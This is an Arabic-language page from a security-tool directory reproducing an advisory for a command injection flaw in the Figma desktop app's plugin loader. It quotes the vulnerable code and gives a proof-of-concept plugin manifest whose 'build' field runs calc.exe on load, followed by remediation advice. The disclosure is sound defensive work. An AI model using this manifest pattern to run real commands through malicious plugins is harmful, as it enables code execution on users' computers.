Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-56803 — ثغرة حقن أوامر نظام التشغيل عبر تنفيذ المكوّن الإضافي في تطبيق Figma المكتبي | Kitploit
أدوات/GitHubGitHub/yosasasutsut/cve-2025-56803
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubyosasasutsut/cve-2025-56803

CVE-2025-56803

ثغرة حقن أوامر نظام التشغيل عبر تنفيذ المكوّن الإضافي في تطبيق Figma المكتبي

عرض المستودع
منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-56803

ثغرة حقن أوامر نظام التشغيل عبر تنفيذ المكوّن الإضافي في تطبيق Figma لسطح المكتب

1. نظرة عامة

أيقونة Figma
  • التطبيق: تطبيق Figma لسطح المكتب
  • الإصدار: 125.6.5
  • الجهة المطوّرة: Figma, Inc.
  • CWE: CWE-78: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل')
  • CVSS: 8.4
  • سلسلة المتجه: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2. الملخص

يحتوي تطبيق Figma لسطح المكتب (v125.6.5) على ثغرة حقن أوامر في محمّل المكوّنات الإضافية.
يمكن لملف بيان مكوّن إضافي خبيث (manifest.json) إساءة استخدام حقل build، الذي يُمرَّر مباشرةً إلى child_process.exec() دون أي تحقق.
يسمح ذلك بتنفيذ أوامر نظام تشغيل عشوائية فور تحميل المكوّن الإضافي، دون تحذيرات أمنية أو مطالبات.

3. التفاصيل

ينبع أصل الثغرة من كود موجود في main.js، والذي يستورد وحدة child_process المدمجة في Node.js:

root@kitploit:~
Zlt = require("child_process")

لاحقًا، إذا كان حقل build موجودًا في ملف manifest.json الخاص بمكوّن إضافي وكانت قيمته سلسلة نصية، فإن التطبيق ينفّذ القيمة مباشرةً باستخدام child_process.exec() دون أي تعقيم أو تحقق:

root@kitploit:~
if (
  s.build &&
  typeof s.build === "string" &&
  (l.path = process.env.PATH || "",
  await new Promise((g) => {
    (0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
      l.stdout = I;
      l.stderr = P;
      y && (l.buildErrCode = y.code);
      g();
    });
  }),
  l.buildErrCode
)
  return l;

ونتيجةً لذلك، فإن ملف manifest.json التالي الموجود داخل مكوّن إضافي خبيث سيؤدي إلى تنفيذ قيمة حقل build كأمر نظام تشغيل:

root@kitploit:~
{
  "name": "<NAME>",
  "id": "<ID>",
  "api": "1.0.0",
  "main": "code.js",
  "build": "<COMMAND>",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

مسار التنفيذ هذا مضمّن في منطق معالجة المكوّنات الإضافية في Figma، ويؤكد تضمين استدعاء require("child_process") داخل main.js أن تنفيذ الأوامر مبني مباشرةً في المنطق الأساسي للتطبيق.

4. إثبات المفهوم (PoC)

من خلال تشغيل مكوّن إضافي يتضمن ملف manifest.json الخبيث التالي:

root@kitploit:~
{
  "name": "poc",
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js",
  "build": "calc.exe",
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [
    "figma"
  ],
  "networkAccess": {
    "allowedDomains": [
      "none"
    ]
  }
}

بمجرد تسجيل هذا المكوّن الإضافي في Figma وتنفيذه، يعمل أمر نظام التشغيل المحدد (calc.exe) فورًا.

https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7

5. التوصيات

على الرغم من أن تنفيذ حقل build يُعد ميزة مدعومة رسميًا في تطبيق Figma لسطح المكتب، يجب على التطبيق تجنّب الاعتماد على الحقول التي يتحكم فيها المستخدم في manifest.json، مثل build، أينما أمكن.
إذا كان لا بد من دعم هذه الحقول، فيجب أن تخضع لتحقق صارم من المدخلات لمنع حقن الأوامر.
بالإضافة إلى ذلك، يجب تجنّب استخدام child_process.exec() في Node.js، واعتماد بدائل أكثر أمانًا مع معالجة صريحة للوسائط بدلًا من ذلك.

6. المراجع

  • https://www.cve.org/CVERecord?id=CVE-2025-56803
  • https://nvd.nist.gov/vuln/detail/CVE-2025-56803
  • https://www.figma.com/plugin-docs/manifest/
تنزيل الأداة